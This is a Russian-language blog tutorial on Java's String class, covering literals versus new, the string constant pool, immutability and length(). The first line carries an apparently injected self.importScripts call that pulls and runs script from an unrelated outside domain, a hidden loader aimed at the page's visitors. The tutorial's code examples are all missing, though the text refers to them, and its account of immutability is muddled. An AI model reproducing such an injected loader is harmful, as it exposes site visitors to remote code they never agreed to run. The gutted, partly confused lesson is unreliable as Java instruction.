google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Строка в Java

Строка в Java - это последовательность символов. В других 
языках программирования, таких как C и C ++, строка реализована как массив символов, а в 
Java строка реализована как объект класса String.
Класс String определен в пакете java.lang. 
Класс StringBuffer и StringBuilder также используется для создания строки в Java. Мы обсудим 
их в следующих уроках.
Строковые объекты неизменны, т.е. мы не можем изменять состояние 
объекта. Вы узнаете об неизменяемости строк позже в этом уроке.

Как создать строковый объект?

Строковые объекты могут быть созданы двумя способами.
1. По новому ключевому слову
2. Строковым литералом
Давайте поговорим о них один за другим.

новое ключевое слово

Мы можем создать объект String, используя ключевое слово new следующим 
образом.
Приведенный выше код создаст пустую строку. Класс String 
предоставляет различные конструкторы. Пример создания строки, инициализированной 
массивом символов, показан ниже.
Приведенный выше код создаст объект String и инициализирует его 
строкой «hello».

Строковый литерал

Существует более простой способ создания строки в Java с использованием строкового 
литерала. Это можно сделать следующим образом.
Хотя мы не используем ключевое слово new в приведенном выше примере, JVM 
автоматически создаст объект в куче, а также создаст объект в 
пуле строковых констант. Теперь я ввел новый термин строковые константы, давайте 
обсудим это.

String Constant Pool

Пул строковых констант - это не что иное, как специальная область памяти в 
куче. Все, что написано в двойных кавычках («»), считается строковым литералом, 
и JVM создает объект в пуле строковых констант. Дублирование недопустимо 
в пуле строковых констант. Давайте сделаем одну Java-программу, чтобы понять это.
Строка в Java
Пул строковых констант, строка в Java
Когда мы создаем строку, используя строковый литерал, JVM сначала проверяет 
строку в пуле строковых констант. Если строка не найдена в пуле, 
JVM создает объект в пуле. Теперь, если мы создадим другую строку с 
тем же значением, JVM вернет ссылку на тот же объект, присутствующий в 
пуле. Мы можем проверить это с помощью вышеуказанной программы. Ссылка на s1 и 
s2 не равна, потому что s1 содержит ссылку на объект, созданный в куче, в 
то время как s2 содержит ссылку на объект, созданный в пуле строковой константы. 
Ссылка s2 и s3 равна , так как они содержат ссылку одного и тот же 
объект , присутствующий в бассейне.

Почему String неизменен в Java?

Как я уже говорил вам, объекты класса String 
неизменны. Мы не можем изменить состояние объекта. Тем не менее, если мы изменим его, то изменения 
не будут сделаны в существующем объекте, будет создан новый объект. Давайте возьмем 
один пример, чтобы понять это.
Почему строка неизменна в Java ?, строка в Java

Как видно из приведенного выше примера, когда я внес 
изменения в объект, ссылка на который хранится в s1, новый объект создается 
без изменения существующего объекта. Это показывает, что String является неизменным в 
Java.
Java использует концепцию строковых литералов. Предположим, есть 
3 ссылочные переменные, ссылающиеся на один и тот же объект. Если одна ссылочная переменная 
изменит значение объекта, то это повлияет на все ссылочные переменные. Это 
причина, почему объекты String неизменны в Java.
Строковая неизменность 
также делает Java безопасным. Строка широко используется для хранения защищенной информации, 
такой как пароль, поэтому хакеры не могут вносить изменения в существующие 
объекты.
В случае, если нам нужны изменяемые строковые объекты, мы можем использовать 
классы StringBuffer и StringBuilder.

Длина строки в Java

Java предоставляет встроенный метод с именем length (), который позволяет 
нам найти длину строки. Пример приведен ниже.
Приведенный выше код найдет длину строки «hello world», 
т.е. 11.
Это все о String в Java. В следующих уроках вы 
узнаете о некоторых методах класса String. Если вы обнаружите что-то неправильное в 
вышеприведенном уроке или у вас есть какие-либо сомнения, сообщите об этом, комментируя ниже.

Комментариев нет:

Отправить комментарий